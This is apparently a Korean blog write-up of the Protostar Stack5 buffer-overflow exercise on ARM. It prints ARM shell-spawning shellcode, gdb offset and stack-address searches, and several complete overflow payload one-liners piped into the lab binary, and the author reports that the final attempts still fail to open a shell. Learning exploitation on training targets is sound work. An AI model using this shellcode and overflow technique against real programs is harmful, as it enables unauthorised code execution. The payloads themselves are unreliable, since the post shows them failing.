About
Stack5 is a standard buffer overflow, this time introducing shellcode.
This level is at /opt/protostar/bin/stack5
Hints
At this point in time, it might be easier to use someone elses shellcode
If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
remove the int3s once your shellcode is done.
버퍼오버플로우 취약점을 이용해 실제로 쉘코드를 실행해보는 문제다.
쉘코드를 만드는 과정은 쉽지 않으므로 우선은 남이 만들어 놓은 코드를 사용하자.
arm 쉘코드 만들기, 나중에 과제로 다시 한번 해보자~
https://azeria-labs.com/writing-arm-shellcode/
위에서 가져온 쉘코드
echo `python -c "print 'A'*68+'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\x49\x1a\xc2\x1c\x11\x71\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x2f'"` | ./stack5
기존의 방식대로 시도하였으나 세그먼트 폴트 에러가 난다..대체 왜?
구글링 및 디버깅 결과 이렇게 입력하면 쉘 코드의 주소가 아닌 문자로 입력되는 것이기 때문에
PC에 의한 실행이 안되고 있었다.
따라서, 쉘코드를 메모리에 먼저 담은 후 메모리에 존재하는 시작주소를 가리키면 될 것이다.
여러가지 방법이 있어 보인다. 환경변수에 집어 넣거나 버퍼에 집어 넣고 시작 주소를 구하면 된다.
나는 버퍼를 이용하려 한다. 더미와 쉘코드의 순서를 바꾸면된다.
먼저 소스코드로 확인되는 할당되는 버퍼의 크기는 64바이트이고 나의 쉘코드의 크기는 28바이트이므로 버퍼에 넘치지 않고 충분하다.
다음과 같이 파이썬의 len함수를 이용해 쉘코드의 크기를 구할 수 있다.
>>> len("\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78")
28
다음과 같이 입력하여 pc전 더미의 값을 확인하자.
r <<<`python -c "print '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'"`
gef> pattern search jaaa
[+] Searching 'jaaa'
[+] Found at offset 36 (big-endian search)
쉘코드에 더미값 36바이트를 추가하고 그 이후에 쉘코드의 시작주소를 입력하면 된다.
전체적인 payload는 다음과 같이 구성할 수 있다. 쉘코드와 더미를 합치면 딱 버퍼 크기 64바이트이다.
>쉘코드(28)+더미(36) 더미+쉘코드시작주소(pc)
그러면 쉘코드의 시작 주소는 어떻게 구해야할까?
pc 레지스터로 접근하려 했으나 접근 에러가 발생했다, sp레지스터를 이용해보자.
나의 쉘코드가 스택 어디에 위치했는지 찾기 위해 sp로부터 +-80을 출력해보았다.
0xbefff1b8에서 나의 쉘코드(0xe28f3001)가 시작되는 것을 확인할 수 있다.
gef> x/30x $sp-80
0xbefff1b0: 0xbefff354 0x00000001 0xe28f3001 0xe12fff13
0xbefff1c0: 0x300c4678 0x1cc21a49 0x1a927111 0xdf01270b
0xbefff1d0: 0x6e69622f 0x2f68732f 0x61616161 0x61616162
0xbefff1e0: 0x61616163 0x61616164 0x61616165 0x61616166
0xbefff1f0: 0x61616167 0x61616168 0x61616169 0x6161616a
0xbefff200: 0x6161616b 0x6161616c 0x0000616d 0x0001041c
0xbefff210: 0xb6ffe0c8 0xb6ffddd0 0x00000000 0x00000000
0xbefff220: 0x000102f4 0x00000000
위치를 제대로 확인하기 위해 정확한 위치를 찍어보자.
gef> x/x 0xbefff1b8
0xbefff1b8: 0xe28f3001
이 시작 주소를 리틀엔디언 방식으로 붙여주면 될 것같다.
r <<<`python -c "print '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'+'B'*36+'\xb8\xf1\xff\xbe'"`
1차 시도
echo `python -c "print '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'+'A'*36+'\xb8\xf1\xff\xbe'"` | ./stack5
2차 시도
(python -c "print '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'+'B'*36+'\xa8\xf1\xff\xbe'";cat) | ./stack5
그런데 쉘이 뜨질 않는다... 이유가 대체 뭔지 아시는분은 댓글 부탁드립니다ㅋㅋㅋ ㅜㅜ
'리버싱CTF > Protostar' 카테고리의 다른 글
Stack6 - Fail (0) | 2020.01.04 |
---|---|
Stack5 (Success) (0) | 2020.01.01 |
Stack4 (0) | 2020.01.01 |
Stack3 (0) | 2020.01.01 |
Stack2 (0) | 2020.01.01 |